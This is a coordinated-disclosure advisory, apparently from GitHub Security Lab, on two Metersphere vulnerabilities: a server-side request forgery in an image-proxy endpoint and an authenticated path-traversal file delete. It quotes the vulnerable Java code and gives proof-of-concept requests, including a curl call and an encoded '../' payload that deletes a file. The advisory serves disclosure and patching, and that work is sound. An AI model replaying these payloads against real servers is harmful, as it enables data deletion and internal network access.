Coordinated Disclosure Timeline
- 2022-12-07: Report sent to support@fit2cloud.com
- 2022-12-07: Commit fixes Arbitrary File Delete (#2)
- 2022-12-08: Commit fixes Server-Side Request Forgery (#1)
- 2022-12-11: Maintainer acknowledges the report
- 2022-12-09: GHSA-5mwp-xw7p-5j27 published
- 2022-12-26: GHSA-vrv6-cg45-rmjj published
Summary
Metersphere is vulnerable to Server-Side Request Forgery and Path Injection.
Product
Metersphere
Tested Version
Details
Issue 1: Server-Side Request Forgery in IssueProxyResourceService::getMdImageByUrl (GHSL-2022-132)
Metersphere’s IssueProxyResourceController loads a /md/get/url endpoint passing a user-controlled url GET parameter (1) to getMdImageByUrl (2).
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/test-track/backend/src/main/java/io/metersphere/controller/IssueProxyResourceController.java
@RestController
@RequestMapping(value = "/resource")
public class IssueProxyResourceController {
@Resource
IssueProxyResourceService issueProxyResourceService;
@GetMapping(value = "/md/get/url")
public ResponseEntity<byte[]> getFileByUrl(@RequestParam ("url") String url, @RequestParam (value = "platform", required = false) String platform, // 1
@RequestParam ("project_id") String projectId, @RequestParam ("workspace_id") String workspaceId) {
return issueProxyResourceService.getMdImageByUrl(url, platform, projectId, workspaceId); // 2
}
}
getMdImageByUrl then passes url to RestTemplate’s exchange method in 3, which will make a request and return the contents of url.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/test-track/backend/src/main/java/io/metersphere/service/wapper/IssueProxyResourceService.java#L32
public ResponseEntity<byte[]> getMdImageByUrl(String url, String platform, String projectId, String workspaceId) {
if (url.contains("md/get/url")) {
MSException.throwException(Translator.get("invalid_parameter"));
}
...
return restTemplate.exchange(url, HttpMethod.GET, null, byte[].class); // 3
}
Proof of Concept
curl -X GET 'http://127.0.0.1:8081/resource/md/get/url?url=https://securitylab.github.com'
An attacker can serve malicious JavaScript and point url to it, thus making the victim’s browser to execute it in the context of Metersphere’s origin.
Impact
This issue may lead to Server-Side Request Forgery and Cross-Site Scripting.
Resources
Issue 2: Path Injection in ApiTestCaseService::deleteBodyFiles (GHSL-2022-133)
Metersphere’s ApiTestCaseController loads a /delete/{id} endpoint which takes a user-controlled string id and passes it to ApiTestCaseService’s delete method.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/controller/definition/ApiTestCaseController.java#L127
@GetMapping("/delete/{id}")
...
public void delete(@PathVariable String id) {
apiTestCaseService.delete(id);
}
ApiTestCaseService’s delete method passes the former id (now testId) to ApiTestCaseService’s deleteBodyFiles.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/service/definition/ApiTestCaseService.java#L331
public void delete(String testId) {
...
deleteBodyFiles(testId);
...
}
Which uses the user-provided value (testId) in new File(BODY_FILE_DIR + "/" + testId), being deleted later by file.delete().
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/service/definition/ApiTestCaseService.java#L365
public void deleteBodyFiles(String testId) {
File file = new File(BODY_FILE_DIR + "/" + testId);
FileUtil.deleteContents(file);
if (file.exists()) {
file.delete();
}
}
Proof of Concept
- Log in with an account (can be non-administrator)
- Create a file that the PoC will delete:
docker exec -it $(docker ps -q --filter "name=ms-server") touch /tmp/DELETE_ME
docker exec -it $(docker ps -q --filter "name=ms-server") ls /tmp/DELETE_ME
- Send the following request replacing the
SESSIONcookie andCSRF-TOKENheader:
GET /api/testcase/delete/..%2F..%2F..%2F..%2Ftmp%2FDELETE_ME HTTP/1.1
Host: 127.0.0.1:8081
CSRF-TOKEN: <CSRF-TOKEN>
Cookie: SESSION=<SESSION-COOKIE>
- Verify that the file was deleted:
docker exec -it $(docker ps -q --filter "name=ms-server") ls /tmp/DELETE_ME
Impact
This issue may lead to authenticated Arbitrary File Delete.
Resources
CVE
- CVE-2022-23544
- CVE-2022-23512
Credit
These issues were discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-132 or GHSL-2022-133 in any communication regarding these issues.